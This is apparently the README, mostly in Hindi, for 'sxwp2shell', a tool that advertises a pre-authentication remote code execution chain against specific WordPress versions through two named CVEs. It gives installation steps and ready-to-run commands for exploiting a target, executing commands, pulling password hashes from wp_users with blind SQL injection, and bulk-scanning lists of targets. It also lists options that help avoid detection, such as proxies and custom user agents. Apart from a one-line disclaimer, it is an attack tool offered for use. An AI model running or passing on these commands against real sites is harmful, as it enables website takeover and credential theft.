/ / ____ / /()___ ___ / / | |/ / __ / _ / __ / / / __ / _ / / | / / / __/ / / / // / / / / / // | /_/_// //_/// //_/__//|_|

sxwp2shell — REST API बैच-रूट कन्फ्यूज़न (CVE-2026-63030) + SQL इंजेक्शन (CVE-2026-60137) के माध्यम से WordPress के लिए Pre-auth RCE एक्सप्लॉइट।

Affected: WP 6.9.0–6.9.4 / 7.0.0–7.0.1

स्थापना

git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py

Python 3.7+, केवल मानक लाइब्रेरी — pip install की कोई आवश्यकता नहीं है।

उपयोग

कमांड	यह क्या करता है
`check <url>`	संस्करण, बैच एंडपॉइंट, रूट कन्फ्यूज़न और SQLi का पता लगाएं
`exploit <url>`	पूर्ण RCE श्रृंखला (SQLi → एडमिन निर्माण → शेल)
`read <url>`	ब्लाइंड SQLi डेटा निष्कर्षण
`scan <file>`	फ़ाइल से लक्ष्यों का बल्क स्कैन करें, CSV निर्यात करें

python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv

विकल्प

--cmd CMD         Command to execute          (default: id)
--query QUERY     Custom SQL query
-k, --insecure    Skip SSL verification
--proxy PROXY     HTTP proxy
--timeout SEC     Request timeout              (default: 15)
--delay SEC       Delay between requests
--agent AGENT     Custom User-Agent
--no-color        Disable colored output
-o, --output      Save scan results to CSV

अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण के लिए। DISCLAIMER.md पढ़ें।

sxwp2shell

सबसे लोकप्रिय

स्थापना

उपयोग

विकल्प

अस्वीकरण